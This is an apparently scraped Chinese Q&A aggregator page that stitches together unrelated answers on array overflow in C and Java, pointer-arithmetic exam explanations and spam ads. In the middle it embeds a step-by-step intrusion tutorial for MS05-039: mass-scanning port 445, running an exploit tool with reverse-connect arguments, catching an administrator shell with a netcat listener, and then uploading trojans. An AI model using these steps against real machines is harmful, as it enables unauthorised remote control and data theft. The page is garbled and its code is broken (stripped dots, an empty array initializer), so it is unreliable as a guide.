我的二维数组调试后出现错误,好像是溢出,请帮我看一下

我的二维数组调试后出现错误,好像是溢出,请帮我看一下,第1张

for(i=0;i<6;i++)

main中第五行和第七行,若定义函数为a[5]的话那么元素分别为a[0],a[1],a[2],a[3],a[4]。所以此处i应该小于5

第七行的应该是a[i][4]吧

其后同理,修改后若再有问题请继续提问

楼上都是正解, 不过这个解释最合理了~

答案:D

A、 X是数组X[]的首地址

B、数组只有六个元素,分别为X[0]、X[1]、X[2]、X[3]、X[4]、X[5],没有X[6]这个元素。

C、因为ptr=x,ptr就指向数组的首地址,如果(--ptr)则ptr不会指向数组

static void sort(int []a){

int com;

//int al=alength;

//int []b=new int[al];

//if(al>=0){

for(int j=0;j<9;j++){

for(int i=1;i<9-j;i++){

if(a[i]<a[i-1]){ //a[i+1]错了,导致数组溢出

com=a[i-1];

a[i-1]=a[i];

a[i]=com;

}

}

//b[j]=a[al-1];

// al--;

}

for(int k=0;k<9;k++){

Systemoutprint(a[k]+" ");

}

}

public static void main(String[] args) {

//int []test=new int[9];

int test[]=;

//MySort testMy=new MySort();

//testMysort(test);

MySortsort(test);

//Systemoutprintln(test[0]);

}

}

另外,站长团上有产品团购,便宜有保证

系统漏洞溢出主bai要分为远程溢du出和本地溢出两种,本地溢出造成的zhi后果是普通的用户dao可以利用漏洞进行权限的提升,而远程溢出的后果则是被黑客进行远程控制,进而造成被黑客安装程序来查看、更改或删除数据;或者创建拥有完全用户权限的新账户等一系列危险的 *** 作。

在计算机内部,输入的数据通常被存放在一个临时的空间内,这个临时的空间就被成为缓冲区,缓冲区的容量事先已经被程序或 *** 作系统定义好了。系统漏洞溢出主要是程序在向缓冲区内填充数据时,如果数据很多,超出了缓冲区的本身的容量,进而造成数据溢出存储空间,使装不下的数据覆盖在合法的数据上。这时系统就会出错,让黑客越过审核机制入侵系统。

在使用系统漏洞溢出攻击时,常常听到ShellCode这个词。ShellCode实际上就是一组可以完成我们想要的功能的机器代码,这些代码通常都是以十六进制的数组形式存在的,黑客常常会根据自己需要实现的目的来编写这段代码。最常见的ShellCode形式,就是一个打开DOS窗口的代码,从而使黑客得到一个远程的Shell,这样就完成了系统漏洞溢出的 *** 作。成功的进行了远程溢出 *** 作后,黑客还会通过FTP、Tftp等命令上传可以进行远程控制的程序并执行,最终达到远程控制的目的,这也是现在流行利用漏洞溢出进行入侵的原因。

入侵实战

第一步:漏洞分析

本次讲解以Windows即插即用远程代码执行漏洞(MS05-039)为例。造成该漏洞的主要原因是即插即用服务中未经检查的缓冲区出现了溢出漏洞,受影响的系统主要包括Windows 2000和WindowsXP SP1 。

第二步:扫描计算机

首先我们来查找存在MS05-039漏洞的远程计算机,由于存在这个漏洞的系统都开放了445和139端口,所以我们只要利用一个扫描器对一个大范围的IP段的445端口进行扫描即可。那些打开445端口的计算机就有可能存在MS05-039漏洞,这样为我们进行远程溢出提供了目标。

今天我们使用的扫描器是sexe。打开一个命令提示符窗口,输入命令:s tcp 19216801 1921680255 445 120 /save,这段命令的意思是利用120个线程数,扫描19216801到1921680255这个IP段中TCP协议下的445端口,扫描的线程为120,并将扫描的结果保存到硬盘中一个名为Result的文本文件中(图1)。

第三步:溢出系统

现在我们就可以利用漏洞工具对远程计算机进行攻击。我们首先来看看该工具的使用方法。打开一个命令提示符窗口,执行漏洞利用工具后查看它的使用方法(图2)。从图中我们可以看到,该工具是通过反d连接的形式进行远程数据溢出的,这样即使远程计算机安装有网络防火墙,我们也可以成功地进行溢出 *** 作。

下面我们在命令提示符窗口执行:ms05039 19216803 19216802 4466 1,首先来说说这段命令的意思。19216803 是远程计算机的IP地址,19216802是本地计算机的IP地址,4466是成功溢出远程计算机数据后将连接到本地计算机的4466这个端口,1代表远程系统是中文版本,如果是英文就设置为0。当成功的执行了远程数据的溢出 *** 作后,漏洞利用工具会出现溢出成功的提示(图3)。

当我们成功溢出远程数据后,就需要马上通过nc来监听反d连接到本地4466端口的数据。重新再开启一个命令提示符窗口,在输入命令:nc -vv -l -p 4466后进行数据监听,很快我们就可以在这个监听窗口得到一个拥有管理员权限的远程SHELL(图4)。

至此,我们已经成功的进入了远程计算机的系统。但是毕竟在DOS界面下工作有诸多的不便,所以我们在获得远程计算机的SHELL后,会通过FTP、TFTP等方法上传可以进行图形界面下工作的木马等程序,这样我们就可以轻松的对远程计算机进行控制。换句话说,我们从那时起就真正的可以“主宰”这台远程主机的命运了。

攻击后果以及防范

通过系统漏洞溢出进行远程攻击已经成为当前最为行之有效的一种攻击手段,这种方法不但可以对个人的电脑进行攻击,还可以对某些服务器进行攻击。除此以外,溢出攻击在 *** 作使用上也非常的简单,任何朋友只要按照前面讲述的步骤进行 *** 作,基本上都能成功的进行溢出攻击。

介于系统漏洞溢出这种攻击的高危害性,所以人们一定要提高警惕,使用各种有效的方法对这种攻击手段进行防范。

首先,由于这种攻击手段是由系统漏洞引起的,所以为了避免系统遭受到攻击,应该尽快的安装相应的安全补丁。就拿今天举例的这个Windows即插即用远程代码执行漏洞来说吧,用户就应该尽快的安装MS05039漏洞补丁。

MS05039漏洞补丁:>

自己用数组定义加法运算,把结果的每一位用数组保存,再输出。

我写了一个程序:

#include<stdioh>

#include<stdlibh>

int main()

{

long x,y;

int i,j,k,t,flag=0;

int a[100],b[100],c[100];

scanf("%d %d",&x,&y);

for(i=0;i<100;i++)

{ a[i]=x%10;

x=x/10;

}

for(j=0;j<100;j++)

{

b[j]=y%10;

y=y/10;

}

for(k=0;k<=100;k++)

{

c[k]=(a[k]+b[k]+flag)%10;

flag=(a[k]+b[k])/10;

}

for(i=99;i>=0;i--)

if(c[i]!=0)

for(;i>=0;i--)

printf("%d",c[i]);

system("pause");

return 0;

}

输入15 26

我是以字符串输入,再转成int型数组计算。

看看,行不行。

Exception in thread "main" javalangArrayIndexOutOfBoundsException: 3

at SortingQuicksort(Sortingjava:151)

at SortingQuicksort(Sortingjava:142)

at SortingQuicksort(Sortingjava:143)

at SortingSortMethodA(Sortingjava:161)

at Sortermain(Sorterjava:18)

你看,都是Sorting类中的错误啊!Sorting没有源代码怎么办

先给你介绍一些本人的经验,然后再分析题目吧,这样比较容易看懂一些。

在进行指针的运算时,最好不要用语言去描术他,因为容易出错,而且不容易理解,最好是把它转换为数学的方式,通过计算得出最后的答案,那样才是正确可靠的。比如像你这例的pp[0][1]如果用数学方式运算,只需一行就搞定,如果用语言表达,就要弯过来弯过去,还不好理解,还容易理解错误。

1、两条基本准则:

a、首先要明白,指针运算符的作用,我用一言以概之,你在哪里使用都不会错。指针运算符的作用是求出后面所指地址里的值。因此只要后面的变量表示的是一个地址就可以使用运算符,来求出这个地址中的值,你不用管这个地址的表示形式是怎样的,只要是地址就可以使用来求出地址中的值。

b、[ ]这个运算符的的运算法则是,把左侧的地址加上[ ]内的偏移量然后再求指针运算,注意有[ ]运算符的地方就有个隐含的指针,比如x[2]表示的就是将指针x偏移2个单位量后再求指针运算。也就说x[2]与(x+2)是相等的。

对二维数组的指针和[ ]的混合运算,假设b是二维数组b[3][4]

在下面的指针和[ ]的混合计算中,要记住两点关键法则,记住了这两点在哪里计算都不会出错

a、对于像b[1]这样的地址,最好应表示为&b[1][0]再进行偏移计算,比如对于b[1]+1,这不是直接在对b[1]加1,也就是b[1]+1不等于b[2],因为b[1]表示的是第二行行1个元素的地址,对其加1,应该表示的是第二行第二个元素的地址,也就是&b[1][1],而b[2]则表示的是第二行第一个元素的地址,因此错误,所以在计算时应把b[1]转换为&b[1][0]之后,才能直接进行地址的偏移,也就是说b[1]+1=&b[1][0]+1=&b[1][1],这样才能得到正确的结果,并且不会出错。

b、对于有小括号的地方,一定不要省略小括号。比如(&b[1])[1]与&b[1][1]将表示的是不同的结果,第二个是显然的,对于第一个(&b[1])[1]=((&b[1])+1)=(&b[1]+1)=(&b[2])=b[2],可以看到,表示的是第3行第1个元素的地址,因此这两个的结果是显然不一样的。因此对于(b+1)[1]这样的运算,不能省略小括号,即(b+1)[1]=(&b[1])[1]=((&b[1])+1)=(&b[1]+1)=(&b[2])=b[2],如果省略了小括号,则是(b+1)[1]=&b[1][1],这将是不易发现的错误。因此这是两个完完全全不同的符案。

c、总结,指针和[ ]混合运算2点关键,

第1:应把是地址的[ ]运算,转换为地址的形式,比如b[1]应转换为&b[1][0]。因为只有这样才能进行直接的地址相加运算,即&b[1][0]+1=&b[1][1],而b[1]+1不等于b[2]。

第2:有小括号的地方不能省略小括号,如(b+1)[1]=(&b[1])[1]=((&b[1])+1)=(&b[1]+1)=(&b[2])=b[2],也&b[1][1]是完全不同的。

答案A:正确,因为双重指针pp指向的是p也就是说pp=p是与pp=&p[0]等价的,因此pp[0]=(pp+0)用文字表述就是pp[0]是表示指针pp所指向的地址的值,因为pp指向的地址是&p[0],这个地址里的值就是p[0],也就是p[0]所指向的地址,也就是&a[0],因此pp[0]=&a[0],那么pp[0][1]=(&a[0])[1]=((&a[0])+1)=(&a[0]+1)=(&a[1])=a[1],用文字表达就是,把a[0]的地址偏移一个单位之后得到的地址,也就是&a[1],然后再对这个地址求值,也就是得到a[1]的值,同理pp[1][1]就等同。pp[1]=(pp+1)=(&p[0]+1)=(&p[1])=p[1]=&a[4],其中p[1]=&a[4]是在for循环中得到的,因此就得到pp[1][1]=(&a[4])[1]=a[5]的值,你可以把数组a赋与12个值来验证本人的计算。

答案B:很明显是正确的,不作解释

答案C:错误:因为p[3][1]=(p[3]+1);在这里可以很明显的看到,指针数组最大的下标只有2,没有p[3]所以是错误的。即,你定义的时候是int p[3],所以没有p[3]这个值,p[3]数组溢出。

答案D:正确。((p+2)+2)=((&p[0]+2)+2)=((&p[2])+2)=(p[2]+2)=(&a[8]+2)=(&a[10])=a[10],因此是正确的,用文字表达就是,把指针数组p的首地址偏移两个单位,也就得到了是p[2]的地址,即&p[2]。然后求出偏移了这两个单位地址的值,也就是p[2],p[2]就是&a[8]的地址,p[2]指向的地址在for循环中计算得到的,然后再对p[2]所指向的地址偏移两个单位,这样就得到&a[10]的地址,然后再求出这个地址中的值,因此就是a[10]

另外,团IDC网上有许多产品团购,便宜有口碑

以上就是关于我的二维数组调试后出现错误,好像是溢出,请帮我看一下全部的内容,包括:我的二维数组调试后出现错误,好像是溢出,请帮我看一下、C语言的一个问题、编写应用程序,使之运行后产生ArrayIndexOutOfBoundsException异常代码。等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/web/9817706.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-05-02
下一篇2023-05-02

发表评论

登录后才能评论

评论列表(0条)

    保存